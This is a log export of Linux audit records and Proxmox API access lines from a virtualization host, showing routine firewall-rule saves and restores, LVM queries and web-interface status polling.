{"@timestamp":1781964096118,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.118:59577): argc=1 a0=\"date\""} {"@timestamp":1781964616073,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964616.073:61813): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb3f50 a2=715f56b7b028 a3=0 items=2 ppid=1214 pid=59324 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965715472,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.472:66795): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966299715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965395194,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.194:65442): arch=c000003e syscall=59 success=yes exit=0 a0=570597a7cd30 a1=570597a88b30 a2=570597a56680 a3=5 items=2 ppid=62859 pid=62865 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096114,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.114:59575): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964616038,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964616.038:61812): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=703126bb7da6 a2=80000 a3=0 items=1 ppid=1214 pid=59323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"etc-passwd_change\""} {"@timestamp":1781965715465,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.465:66794): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966299715,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965395191,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.191:65441): arch=c000003e syscall=59 success=yes exit=0 a0=5705642adac8 a1=7ffe55b213a0 a2=570597a56680 a3=57056429124e items=2 ppid=62859 pid=62861 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096107,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.107:59574): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964616035,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964616.035:61811): arch=c000003e syscall=59 success=yes exit=0 a0=715f56b7804a a1=7ffdfadb4170 a2=715f56b7b028 a3=0 items=2 ppid=1214 pid=59323 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=42 sgid=42 fsgid=42 tty=(none) ses=4294967295 comm=\"unix_chkpwd\" exe=\"/usr/sbin/unix_chkpwd\" subj=unix-chkpwd key=\"exec\""} {"@timestamp":1781965715458,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.458:66793): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966298712,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781965395190,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.190:65440): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe55b21360 a1=570597a783d0 a2=570597a56680 a3=5 items=2 ppid=62859 pid=62860 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096100,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.100:59573): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964615493,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.493:61810): arch=c000003e syscall=59 success=yes exit=0 a0=59fd13ad0b60 a1=59fd13adca30 a2=59fd13aaa680 a3=5 items=2 ppid=59316 pid=59322 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715449,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.449:66792): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966297129,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965395186,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.186:65438): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62859 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096092,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.092:59572): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964615490,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.490:61809): arch=c000003e syscall=59 success=yes exit=0 a0=59fd071ceac8 a1=7fffbd195c20 a2=59fd13aaa680 a3=59fd071b224e items=2 ppid=59316 pid=59318 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715440,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.440:66791): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966297129,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965395177,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.177:65437): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62858 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096083,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.083:59571): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964615488,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.488:61808): arch=c000003e syscall=59 success=yes exit=0 a0=7fffbd195be0 a1=59fd13acc200 a2=59fd13aaa680 a3=5 items=2 ppid=59316 pid=59317 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715434,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.434:66790): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966297129,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781965395171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.171:65436): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62857 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096078,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.078:59569): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964615485,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.485:61806): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59316 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715429,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.429:66789): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966295799,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965395165,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.165:65435): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096073,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.073:59568): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964615478,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.478:61805): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59315 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715428,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.428:66788): argc=1 a0=\"date\""} {"@timestamp":1781966295799,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:14 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965395157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.157:65434): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096067,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.067:59567): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964615471,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.471:61804): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59314 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715423,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.423:66786): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966295799,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965395154,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.154:65433): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5b44953e0740 items=0 ppid=1156 pid=62854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964096063,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.063:59566): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964615465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.465:61803): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59313 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715413,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.413:66785): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966294805,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781965395151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.151:65432): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc1466a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096057,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.057:59565): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964615458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.458:61802): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59312 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715403,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.403:66784): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966294805,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781965395147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.147:65431): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138f20 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62853 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096051,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.051:59564): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964615456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.456:61801): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=572cd387b740 items=0 ppid=1156 pid=59311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965715397,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.397:66783): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966293787,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:12 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781965395141,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.141:65430): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138c30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62852 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096044,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.044:59563): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964615453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.453:61800): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc13b8a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59311 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715387,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.387:66782): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966293787,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965395135,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.135:65429): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13c170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62851 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096036,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.036:59562): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964615449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.449:61799): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc12fea0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59310 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965715379,"@rawstring":"node=pve type=EXECVE msg=audit(1781965715.379:66781): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966291781,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965395131,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.131:65428): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62850 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096032,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.032:59561): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964615443,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.443:61798): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc139e30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59309 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965714137,"@rawstring":"node=pve type=EXECVE msg=audit(1781965714.137:66780): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966291781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965395125,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.125:65427): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada260 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62849 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096029,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.029:59560): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964615439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.439:61797): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc136120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59308 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965714107,"@rawstring":"node=pve type=EXECVE msg=audit(1781965714.107:66779): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966291781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965395117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.117:65426): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62848 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096027,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.027:59559): argc=1 a0=\"date\""} {"@timestamp":1781964615433,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.433:61796): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc134f60 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965714049,"@rawstring":"node=pve type=EXECVE msg=audit(1781965714.049:66778): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966291781,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965395111,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.111:65425): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62847 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096019,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.019:59557): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964615429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.429:61795): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965714047,"@rawstring":"node=pve type=EXECVE msg=audit(1781965714.047:66777): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966290778,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:38:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781965395107,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.107:65424): arch=c000003e syscall=59 success=yes exit=0 a0=56fd6a2540a0 a1=56fd6a250e20 a2=56fd6a232680 a3=5 items=2 ppid=62840 pid=62846 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096013,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.013:59556): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964615422,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.422:61794): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965714038,"@rawstring":"node=pve type=EXECVE msg=audit(1781965714.038:66774): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966290778,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:38:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781965395103,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965395.103:65423): arch=c000003e syscall=59 success=yes exit=0 a0=56fd4dcb3ac8 a1=7ffeddeae540 a2=56fd6a232680 a3=56fd4dc9724e items=2 ppid=62840 pid=62842 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964096005,"@rawstring":"node=pve type=EXECVE msg=audit(1781964096.005:59555): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964615416,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964615.416:61793): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} 